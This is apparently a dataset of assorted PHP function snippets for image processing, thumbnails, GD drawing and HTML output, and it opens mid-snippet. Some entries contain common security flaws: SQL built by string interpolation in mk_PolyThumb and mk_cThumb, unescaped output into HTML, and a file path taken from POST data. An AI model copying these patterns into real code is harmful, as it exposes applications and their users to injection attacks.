\"views/img/parts/\".$_POST[\"editCode\"].\"/\".$random.\".png\";\n\n\t\t\t\t\t\t$origin = imagecreatefrompng($_FILES[\"editPicParts\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destiny = imagecreatetruecolor($newWidth, $newHeight);\n\n\t\t\t\t\t\timagecopyresized($destiny, $origin, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);\n\n\t\t\t\t\t\timagepng($destiny, $route);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t$table = \"parts\";\n\n\t\t\t\t$data = array(\"idCategory\" => $_POST[\"editCategory\"],\n\t\t\t\t\t\t\t \"code\" => $_POST[\"editCode\"],\n\t\t\t\t\t\t\t \"description\" => $_POST[\"editDescription\"],\n\t\t\t\t\t\t\t \"stock\" => $_POST[\"editStock\"],\n\t\t\t\t\t\t\t\"buyingPrice\" => $_POST[\"editPriceBuy\"],\n\t\t\t\t\t\t\t\"sellingPrice\" => $_POST[\"editPriceSell\"],\n\t\t\t\t\t\t\t \"image\" => $route);\n\n\t\t\t\t$answer = PartsModel::mdlEditPart($table, $data);\n\n\t\t\t\tif($answer == \"ok\"){\n\n\t\t\t\t\techo'<script>\n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t type: \"success\",\n\t\t\t\t\t\t\t title: \"The Part has been edited\",\n\t\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t\t confirmButtonText: \"Close\"\n\t\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\t\t\twindow.location = \"parts\";\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t})\n\n\t\t\t\t\t\t</script>';\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\techo'<script>\n\n\t\t\t\t\tswal({\n\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t title: \"¡The Part cannot be empty or have special characters!\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Close\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\twindow.location = \"parts\";\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\n\t\t\t \t</script>';\n\t\t\t}\n\n\t\t}\n\n\t}",
"function presentarImagenesPublicacion($idPP)\r\n {\r\n $id=$idPP;\r\n $directory=('upload/');\r\n $dirint = dir($directory);\r\n if ($idPP == null) {\r\n $id = $this->ultimoId();\r\n }\r\n\r\n while(($archivo = $dirint->read()) !== false)\r\n {\r\n $str = $archivo;\r\n $caracteres = preg_split('/_/', $str, -1, PREG_SPLIT_NO_EMPTY);\r\n // var_dump($caracteres);\r\n // $items = (string)$id;\r\n // var_dump($items);\r\n if ($caracteres['0'] === $id){\r\n $imagen = $id.'_'.$caracteres['1'];\r\n // var_dump($imagen);\r\n echo '<div class=\"col-md-6\" style=\"width:20%;\"><img src=\"/inmobiitla/upload/'.$imagen.'\" class=\"img-responsive img-thumbnail\" /></div>'.\"\\n\";\r\n }\r\n }\r\n $dirint->close();\r\n }",
"public function toGDImage() {}",
"function imagettftextSp($image, $size, $angle, $x, $y, $color, $font, $text, $spacing = 0){\n if ($spacing == 0) { imagettftext($image, $size, $angle, $x, $y, $color, $font, $text); }else{\n \t$temp_x = $x;\n \tfor ($i = 0; $i < strlen($text); $i++){\n \t\t$bbox = imagettftext($image, $size, $angle, $temp_x, $y, $color, $font, $text[$i]);\n \t\t$temp_x += $spacing + ($bbox[2] - $bbox[0]);\n \t}\n\t}\n}",
"function display_image($picture) {\n return \"uploads\" . DS . $picture;\n}",
"public function render(): string\n {\n $src = (string)$this->arguments['src'];\n if (($src === '' && $this->arguments['image'] === null) || ($src !== '' && $this->arguments['image'] !== null)) {\n throw new Exception('You must either specify a string src or a File object.', 1382284106);\n }\n\n if ((string)$this->arguments['fileExtension'] && !GeneralUtility::inList($GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext'], (string)$this->arguments['fileExtension'])) {\n throw new Exception(\n 'The extension ' . $this->arguments['fileExtension'] . ' is not specified in $GLOBALS[\\'TYPO3_CONF_VARS\\'][\\'GFX\\'][\\'imagefile_ext\\']'\n . ' as a valid image file extension and can not be processed.',\n 1618989190\n );\n }\n\n try {\n $image = $this->imageService->getImage($src, $this->arguments['image'], (bool)$this->arguments['treatIdAsReference']);\n $cropString = $this->arguments['crop'];\n if ($cropString === null && $image->hasProperty('crop') && $image->getProperty('crop')) {\n $cropString = $image->getProperty('crop');\n }\n $cropVariantCollection = CropVariantCollection::create((string)$cropString);\n $cropVariant = $this->arguments['cropVariant'] ?: 'default';\n $cropArea = $cropVariantCollection->getCropArea($cropVariant);\n $processingInstructions = [\n 'width' => $this->arguments['width'],\n 'height' => $this->arguments['height'],\n 'minWidth' => $this->arguments['minWidth'],\n 'minHeight' => $this->arguments['minHeight'],\n 'maxWidth' => $this->arguments['maxWidth'],\n 'maxHeight' => $this->arguments['maxHeight'],\n 'crop' => $cropArea->isEmpty() ? null : $cropArea->makeAbsoluteBasedOnFile($image),\n ];\n if (!empty($this->arguments['fileExtension'] ?? '')) {\n $processingInstructions['fileExtension'] = $this->arguments['fileExtension'];\n }\n $processedImage = $this->imageService->applyProcessingInstructions($image, $processingInstructions);\n $imageUri = $this->imageService->getImageUri($processedImage, $this->arguments['absolute']);\n\n if (!$this->tag->hasAttribute('data-focus-area')) {\n $focusArea = $cropVariantCollection->getFocusArea($cropVariant);\n if (!$focusArea->isEmpty()) {\n $this->tag->addAttribute('data-focus-area', $focusArea->makeAbsoluteBasedOnFile($image));\n }\n }\n $this->tag->addAttribute('data-lazy', $imageUri);\n // $this->tag->addAttribute('src', $imageUri);\n $this->tag->addAttribute('width', $processedImage->getProperty('width'));\n $this->tag->addAttribute('height', $processedImage->getProperty('height'));\n\n // The alt-attribute is mandatory to have valid html-code, therefore add it even if it is empty\n if (empty($this->arguments['alt'])) {\n $this->tag->addAttribute('alt', $image->hasProperty('alternative') ? $image->getProperty('alternative') : '');\n }\n // Add title-attribute from property if not already set and the property is not an empty string\n $title = (string)($image->hasProperty('title') ? $image->getProperty('title') : '');\n if (empty($this->arguments['title']) && $title !== '') {\n $this->tag->addAttribute('title', $title);\n }\n } catch (ResourceDoesNotExistException $e) {\n // thrown if file does not exist\n throw new Exception($e->getMessage(), 1509741911, $e);\n } catch (\\UnexpectedValueException $e) {\n // thrown if a file has been replaced with a folder\n throw new Exception($e->getMessage(), 1509741912, $e);\n } catch (\\RuntimeException $e) {\n // RuntimeException thrown if a file is outside of a storage\n throw new Exception($e->getMessage(), 1509741913, $e);\n } catch (\\InvalidArgumentException $e) {\n // thrown if file storage does not exist\n throw new Exception($e->getMessage(), 1509741914, $e);\n }\n\n return $this->tag->render();\n }",
"function addBorder($picture) {\n\n $width = strlen($picture[0]) + 2; \n $count = count($picture);\n\n for($i = 0; $i < $count; $i++) {\n $picture[$i] = '*' . $picture[$i] . '*';\n }\n\n array_unshift($picture, str_repeat('*', $width));\n $picture[] = str_repeat('*', $width);\n \n return $picture;\n}",
"function draw_x ($image, $black, $grey, $tab, $title_color) // affiche les infos de l'axe des abcisses\n\t{\n//\t\tImageTTFText ($image, 10, 0, $this->pic_width - 25, $this->pic_height - 45, $grey, $this->path, $this->xname);\n\n\t\t//affiche le titre de l'image\n\t\tImageTTFText ($image, 10, 0, floor($this->pic_width / 3), 20, $title_color, $this->path, $this->maintitle);\n\n\t\tfor ($i = 1; $i <= $this->nb_x; $i++)\n\t\t{\n\t\t\t//affiche les reperes sur l'axe des abscisses\n\t\t\t//\timageline($image, $this->x($i), $this->y(0) + 5, $this->x($i), $this->y(0), $black);\n\t\t\t//affiche les nom des color2 de l'axe des abcisses\n\t\t\tImageTTFText ($image, 10, -45, $this->x($i) - ($this->xscale / 2), $this->y(0) + 8, $black, $this->path, $tab[$i - 1][0]);\n\t\t}\n\t}",
"function zen_draw_separator($image = 'true', $width = '100%', $height = '1') {\n\n // set default to use from template - zen_image will translate if not found in current template\n if ($image == 'true') {\n $image = DIR_WS_TEMPLATE_IMAGES . OTHER_IMAGE_BLACK_SEPARATOR;\n } else {\n if (!strstr($image, DIR_WS_TEMPLATE_IMAGES)) {\n $image = DIR_WS_TEMPLATE_IMAGES . $image;\n }\n }\n return zen_image($image, '', $width, $height);\n }",
"function generate_tooltip_frame($portion='start')\n{\n\tif($portion == 'start')\n\t{\n\t\t$tiphtml = \"<table border='0' cellspacing='0' cellpadding='0'>\n\t\t<tr><td colspan='3' style='padding-left:12px;padding-bottom:0px;'><img src='\".IMAGE_URL.\"layer_tip.png'></td></tr>\n\t\t\n\t\t<tr><td valign='bottom' style='padding-top:0px;'><img src='\".IMAGE_URL.\"layer_top_left_corner.png'></td>\n\t\t<td style='background-image: url(\".IMAGE_URL.\"top_border.png);background-repeat: repeat-x;background-position: center bottom;padding-top:0px;'><img src='\".IMAGE_URL.\"spacer.gif' height='12' width='1'></td>\n\t\t<td valign='bottom' style='padding-top:0px;'><img src='\".IMAGE_URL.\"layer_top_right_corner.png'></td></tr>\n\t\t\n\t\t<tr>\n\t\t<td style='background-image: url(\".IMAGE_URL.\"right_border.png);background-repeat: repeat-y;background-position: right center;'></td>\n\t\t\n\t\t\n\t\t<td>\";\n\t}\n\t\n\telse if($portion == 'end')\n\t{\n\t\t$tiphtml = \"</td>\n\t\t<td style='background-image: url(\".IMAGE_URL.\"left_border.png);background-repeat: repeat-y;background-position: left center;'></td>\n\t\t</tr>\n\t\t\n\t\t<tr><td valign='top'><img src='\".IMAGE_URL.\"layer_bottom_left_corner.png'></td>\n\t\t<td style='background-image: url(\".IMAGE_URL.\"bottom_border.png);background-repeat: repeat-x;background-position: center top;'> </td>\n\t\t<td valign='top'><img src='\".IMAGE_URL.\"layer_bottom_right_corner.png'></td></tr>\n\t\t</table>\";\n\t}\n\t\n\treturn $tiphtml;\n}",
"public function getImage()\n\t{\n\t\treturn $this->generator->render($this->generateCode(), $this->params);\n\t}",
"public function getOpengraphImage();",
"public function getProfilePicture();",
"function printPhoto($photo_id, $secret){\n\n\t\t/* Gets a Photo */\n\t\t$photo = $this->getPhoto($photo_id,$secret);\n\n\t\t/* Redefine Content Description */\n\t\t$this->pageDescription = $photo->photo->title->_content;\n\t\t$this->contentDescription = $photo->photo->description->_content;\n\t\t$this->setTags($photo_id);\n\n\t\t/* Add Content Description */\n\t\t$output = $this->printContentDescription(true);\n\n\t\t/* Start HTML */\n\t\t$output .= '<section class=\"photogroup\">';\n\n\t\t/* Check for Animated Gifs */\n\t\tif($photo->photo->originalformat == 'gif') {\n\t\t\t$secret = $photo->photo->originalsecret.'_o';\n\t\t\t$format = 'gif';\n\t\t} else {\n\t\t\t$secret = $photo->photo->secret.'_b';\n\t\t\t$format = 'jpg';\n\t\t}\n\n\t\t/* Videos */\n\t\tif($photo->photo->media == 'video'){\n\t\t\t$output .= '<div id=\"gallery\"><ul class=\"video packery\"><li class=\"video item single\">'; /* This makes it flexible */\n\t\t\t$output .= $this->printVideo($photo_id, $secret, false);\n\t\t\t$output .= '<li></ul></div>';\n\t\t} else {\n\t\t\t/* Photos */\n\t\t\t$output .= '<div id=\"gallery\"><ul class=\"packery\"><li class=\"photo item single\"><img src=\"http://static.flickr.com/'.$photo->photo->server.'/'.$photo->photo->id.'_'.$secret.'.'.$format.'\" alt=\"'.$photo->photo->title->_content.'\" /></li></ul></div>';\n\t\t}\n\n\t\t/* Gets that Photo's Context */\n\t\t$context = $this->getPhotoContext($photo_id);\n\t\tif(isset($context->set[0]->id)){\n\t\t\t$parentNav = $this->printSet($context->set[0]->id, false, $context->set[0],'q');\n\t\t} else {\n\t\t\t$parentNav = '';\n\t\t}\n\n\t\t/* Add Parent Nav */\n\t\t$output .= $parentNav;\n\n\t\t/* End HTML */\n\t\t$output .= '</section>';\n\n\t\t/* Return HTML */\n\t\treturn $output;\n\t}",
"function LayoutGetImage($params=null) // must return string\n{\n global $DB, $sdurl, $userinfo, $plugin_names, $plugin_folder_to_id_arr;\n\n // Below are several security checks to assure, that the passed on plugin-id\n // is valid, the plugin and it's image path exist etc.\n if( !isset($params) || !is_array($params) || (count($params) < 1) ||\n (count($params) > 2) || empty($userinfo['pluginviewids']) )\n {\n return '';\n }\n $image_id = Is_Valid_Number($params[0], 0, 1);\n $plugin_id = 17; //default!\n $w = $h = 0;\n if(isset($params[1]))\n {\n if($p_arr = @preg_split('#,#',$params[1],0,PREG_SPLIT_NO_EMPTY))\n {\n $plugin_id = Is_Valid_Number($p_arr[0], 17, 1);\n $p_arr = array_slice($p_arr,1);\n foreach($p_arr as $p)\n {\n if($p2_arr = @preg_split('#=#',$p,0,PREG_SPLIT_NO_EMPTY))\n {\n if(($p2_arr[0]=='w') && isset($p2_arr[1])) $w = intval($p2_arr[1]);\n if(($p2_arr[0]=='h') && isset($p2_arr[1])) $h = intval($p2_arr[1]);\n }\n }\n\n }\n }\n\n // Sanity checks:\n if( ($image_id < 0) || !$plugin_id || !isset($plugin_names[$plugin_id]) ||\n !in_array($plugin_id, $userinfo['pluginviewids']) )\n {\n return '';\n }\n\n if(empty($image_id))\n {\n $image_id = ' ORDER BY RAND() LIMIT 1';\n }\n else\n {\n $image_id = ' AND i.imageid = '.(int)$image_id;\n }\n $columns = '';\n if($plugin_id >= 5000)\n {\n $columns= ', s.folder, s.access_view';\n }\n\n if(!$folder = array_search($plugin_id, $plugin_folder_to_id_arr)) return '';\n $folder = 'plugins/'.$folder.'/images/';\n if(!is_readable(ROOT_PATH.$folder)) return '';\n\n $sections = empty($userinfo['categoryviewids']) ? '0' : implode(',',$userinfo['categoryviewids']);\n $DB->ignore_error = true;\n $image_arr = $DB->query_first(\"SELECT i.* $columns FROM {p\".$plugin_id.'_images} i'.\n ' INNER JOIN {p'.$plugin_id.'_sections} s ON s.sectionid = i.sectionid'.\n ' WHERE i.activated = 1 AND s.activated = 1 '.\n ' AND s.sectionid IN (%s) %s',\n $sections, $image_id);\n $DB->ignore_error = false;\n\n if(!$image_arr || empty($image_arr['imageid']))\n {\n return 'Image not available!';\n }\n $imagetitle = htmlspecialchars($image_arr['title'], ENT_COMPAT);\n if(isset($image_arr['folder'])) $folder .= $image_arr['folder']; // Media Gallery subfolder support\n $img_md_exists = file_exists(ROOT_PATH.$folder . 'md_' . $image_arr['filename']);\n $image_path = $folder . ($img_md_exists ? 'md_' : '') . $image_arr['filename'];\n if(!$w || !$h)\n {\n list($w, $h, $type, $attr) = @getimagesize(ROOT_PATH.$image_path);\n }\n\n return '<img title=\"' . $imagetitle . '\" alt=\"image\" src=\"' .\n $sdurl. $image_path . '\" width=\"' . $w . '\" height=\"' . $h . '\" />';\n\n}",
"public function __toString()\n {\n return $this->width . 'x' . $this->height;\n }",
"function doc_pic ($a,$showdetails=false,$force=false) {\r\n\tGLOBAL $HTTP_SERVER_VARS;\r\n\t\t$SRC=$a[SRC];\r\n\t\t$path=$a[path];\r\n\t\t$HREF=$a[HREF];\r\n\t\t$BORDER=$a[BORDER];\r\n\t\t$ALIGN=$a[ALIGN];\r\n\t\t$HVSPACE=$a[HVSPACE];\r\n\t\t$ALT=$a[ALT];\r\n\t\t$WIDTH=$a[WIDTH];\r\n\t\t$HEIGHT=$a[HEIGHT];\r\n\r\n\t\tif (''==$SRC) {\r\n\t\t\tif ($showdetails) {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn(\"Kein Bild\");\r\n\t\t\t} else {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn('');\r\n\t\t\t}\r\n\t\t}\r\n\t if (''==$path) {\r\n\t \t$path=$SRC;\r\n\t }\r\n\t if (ereg(\"^/\",$SRC)) {\r\n\t \t## if unset, assume DOCUMENT_ROOT to be the path\r\n\t \tif (!$this->layoutpath) {\r\n\t \t\t$this->layoutpath = $HTTP_SERVER_VARS[\"DOCUMENT_ROOT\"];\r\n\t \t}\r\n\t\t\t$SRC= $this->layouturl . $SRC;\r\n\t\t\t$path=$this->layoutpath . $path;\r\n\t\t}\r\n\t if (file_exists($path)) {\r\n\t\t\t$WH=GetImageSize($path);\r\n\t\t} else {\r\n\t\t\t$this->defval($force, $this->picture_def['force']);\r\n\t\t\tif (!$force) {\r\n\t\t\t\t$this->_debug2('doc_pic not found');\r\n\t\t\t\treturn(\"Bild: '$path' nicht vorhanden!\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($WIDTH>0) {\r\n\t\t\t$WH[0]=$WIDTH;\r\n\t\t}\r\n\t\tif ($HEIGHT>0) {\r\n\t\t\t$WH[1]=$HEIGHT;\r\n\t\t}\r\n\t\t$this->defval($BORDER, $this->picture_def['BORDER']);\r\n\t\t$this->defval($ALIGN, $this->picture_def['ALIGN']);\r\n\t\t$this->defval($HVSPACE, $this->picture_def['HVSPACE']);\r\n\t\t$this->defval($ALT, $this->picture_def['ALT']);\r\n\r\n\t\t$r.=($BORDER!='') ? sprintf($this->picture['BORDER'],$BORDER) : '';\r\n\t\t$r.=o_iftrue($ALIGN, $this->picture['ALIGN']);\r\n\t\tif ($HVSPACE) {\r\n\t\t\t$r.=sprintf($this->picture['HVSPACE'],$HVSPACE,$HVSPACE);\r\n\t\t}\r\n\t\t$r.=sprintf($this->picture['ALT'],HTMLSpecialChars($ALT));\r\n\t\t$r.=sprintf($this->picture['WIDTH'],$WH[0]);\r\n\t\t$r.=sprintf($this->picture['HEIGHT'],$WH[1]);\r\n\r\n\t\t$out=sprintf($this->picture['pictag'],$SRC,$r);\r\n\r\n\t\tif ($HREF) {\r\n\t\t\t$out=$this->doc_anker('NULL',$HREF,$out);\r\n\t\t}\r\n\r\n\t\tif ($showdetails) {\r\n\t\t\t$name=ereg_Replace(\"^.*/\",\"\",$SRC);\r\n\t\t\t$out=\"<SMALL>'<B>$name</B>' \".\r\n\t\t\t \"$WH[0]x$WH[1] Pixel</SMALL>\\n$out\";\r\n\t\t}\r\n\r\n\t\t$this->_debug('doc_pic',$out);\r\n\t\treturn($out);\r\n\t}",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function imagecustom($im, $text) {\n}",
"public function makeImage()\n {\n $x_width = 200;\n $y_width = 125;\n\n $this->image = imagecreatetruecolor(200, 125);\n\n $this->white = imagecolorallocate($this->image, 255, 255, 255);\n $this->black = imagecolorallocate($this->image, 0, 0, 0);\n $this->red = imagecolorallocate($this->image, 255, 0, 0);\n $this->green = imagecolorallocate($this->image, 0, 255, 0);\n $this->grey = imagecolorallocate($this->image, 128, 128, 128);\n\n $this->red = imagecolorallocate($this->image, 231, 0, 0);\n\n $this->yellow = imagecolorallocate($this->image, 255, 239, 0);\n $this->green = imagecolorallocate($this->image, 0, 129, 31);\n\n $this->color_palette = [$this->red, $this->yellow, $this->green];\n\n imagefilledrectangle($this->image, 0, 0, 200, 125, $this->white);\n\n $border = 25;\n\n $lines = [\"e\", \"g\", \"b\", \"d\", \"f\"];\n $i = 0;\n foreach ($lines as $key => $line) {\n $x1 = 0;\n $x2 = $x_width;\n $y1 = $i * 15 + 25;\n $y2 = $y1;\n imageline(\n $this->image,\n $x1 + $border,\n $y1,\n $x2 - $border,\n $y2,\n $this->black\n );\n $i = $i + 1;\n }\n\n imageline(\n $this->image,\n 0 + $border,\n 25,\n 0 + $border,\n 4 * 15 + 25,\n $this->black\n );\n imageline(\n $this->image,\n 200 - $border,\n 25,\n 200 - $border,\n 4 * 15 + 25,\n $this->black\n );\n\n $textcolor = $this->black;\n\n $font = $this->default_font;\n\n $size = 10;\n $angle = 0;\n\n if (!isset($this->bar_count) or $this->bar_count == \"X\") {\n $this->bar_count = 0;\n }\n $count_notation = $this->bar_count + 1;\n\n if (file_exists($font)) {\n if (\n $count_notation != 1 or\n $count_notation == $this->max_bar_count\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 0 + 10,\n 110,\n $this->black,\n $font,\n $count_notation\n );\n }\n\n if (\n $count_notation + 1 != 1 or\n $count_notation + 1 == $this->max_bar_count + 1\n ) {\n imagettftext(\n $this->image,\n $size,\n $angle,\n 200 - 25,\n 110,\n $this->black,\n $font,\n $count_notation + 1\n );\n }\n }\n }",
"function draw_singolo_ordine($id_prodotto, $nome_prodotto, $prezzo, $foto, $quantita)\n {\n echo \"<div class='col-md-9 col-xs-12 text-center' style='background-color:#F9F9F9; padding:5px; margin-bottom:5px;'>\";\n echo \" <div class='col-md-3 col-xs-12'>\";\n echo \" <a href='product_img/$foto'><img class='img-thumbnail' src='product_img/$foto' height='150px' width='150px'></a>\";\n echo \" </div>\";\n echo \" <div class='col-md-6 col-xs-12'>\";\n echo \" <div class='col-xs-12'>\";\n echo \" <h3 class='text-primary'> $nome_prodotto </h3>\";\n echo \" </div>\";\n echo \" </div>\";\n echo \" <div class='col-md-3 col-xs-12'>\";\n echo \" <div class='col-xs-12'>\";\n echo \" <h4>Prezzo</h4>\";\n echo \" <h3 style='color:green;'>€$prezzo</h3>\";\n echo \" </div>\";\n echo \" <div class='col-md-12'>\";\n echo \" <h5>Quantità:$quantita</h5>\";\n echo \" </div>\";\n echo \" </div>\";\n echo \"</div>\";\n }",
"function renderGraph($myPicture, $fid, $frid, $labelElement, $dataElement, $operation, $graphOptions) {\n\t// TODO: make some kind of cron job clear up or some kind of caches, update graph only when needed!\n\t$grapRelativePathPrefix = \"modules/formulize/images/graphs/\";\n\t$graphRelativePath = $grapRelativePathPrefix . \"_\" . $fid . \"_\" . \"_\" . $frid . \"_\" . $labelElement . \"_\" . $dataElement . \"_\" . \"$operation\" . \"_\" . preg_replace('/[^\\w\\d]/', \"\", print_r($graphOptions, true)) . \".png\";\n\t$graphRelativePath = preg_replace('/\\s/', '_', $graphRelativePath);\n\t$myPicture -> render(XOOPS_ROOT_PATH . \"/\" . $graphRelativePath);\n\techo \"<img src='\" . XOOPS_URL . \"/$graphRelativePath' />\";\n\treturn;\n}",
"protected function getIncludeGraphics() {\n return sprintf('\\includegraphics[width=\\textwidth]{%s}', $this->getPdfName());\n }",
"public function draw($image) {\n if ($this->fill) return imagefilledpolygon(\n $image->handle,\n $this->points,\n sizeof($this->points) / 2,\n $this->col->handle\n ); else return imagepolygon(\n $image->handle,\n $this->points,\n sizeof($this->points) / 2,\n $this->col->handle\n );\n }",
"function drawDiamond($x, $y, $width, $colour, $filled) {\n global $im;\n \n // here we work out the four points of the diamond\n $p1_x = $x;\n $p1_y = $y+($width/2);\n \n $p2_x = $x+($width/2);\n $p2_y = $y;\n \n $p3_x = $x+$width;\n $p3_y = $y+($width/2);\n \n $p4_x = $x+($width/2);\n $p4_y = $y+$width;\n \n // now create an array of points to store these four points\n $points = array($p1_x, $p1_y, $p2_x, $p2_y, $p3_x, $p3_y, $p4_x, $p4_y);\n \n // the number of vertices for our polygon (four as it is a diamond\n $num_of_points = 4;\n \n if ($filled) {\n // now draw out the filled polygon\n ImageFilledPolygon($im, $points, $num_of_points, $colour);\n }else{\n // draw out an empty polygon\n ImagePolygon($im, $points, $num_of_points, $colour);\n }\n}",
"public function render(){\n\n\t\t$part = $this->arguments['part'];\n\t\t$trailer = $this->arguments['trailer'];\n\n\t\t$partAssembled = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\KcHumbaurProducts\\Domain\\Repository\\PartReferenceRepository');\n\t\t$partAssembledArray;\n\t\t/*if (is_array($parts) || is_object($parts)){\n\t\t\tforeach($parts as $part){\n\t\t\t\t$partAssembledArray[] = $partAssembled->findIfAssembled($part->getUid(), $trailer->getUid());\n\t\t\t}\n\t\t}*/\n\t\t$partAssembledArray[] = $partAssembled->findIfAssembled($part->getUid(), $trailer->getUid());\n\t\treturn $partAssembled->searchForAssembled('1', $partAssembledArray);\n\t}",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"public function getWebPicture();",
"function printAsideEspertoProfilo($img_profilo) {\r\n \r\n $img_profilo = '../' . $img_profilo;\r\n \r\n echo '<div class=\"tooltip-esperto\">';\r\n echo '<span class=\"tooltip-testo-esperto\">Utente esperto</span>';\r\n echo '<div class=\"profilo-img-container profilo-esperto\">' .\r\n '<img onclick=\"showModal(' . \"'modifica-immagine-profilo','post-container'\" . ')\"' .\r\n 'class=\"img-profilo-dim pointer\" src=\"' . $img_profilo .'\"' .\r\n 'alt=\"Immagine del profilo\"/>' . \r\n '<div class=\"aside-testo\">' . $_SESSION['nickname'] . '</div>' .\r\n '</div>';\r\n echo '</div>';\r\n}",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"public function drawContent()\n\t\t{\n\t\t}",
"public function draw();",
"public function formatGraphics() {\n }",
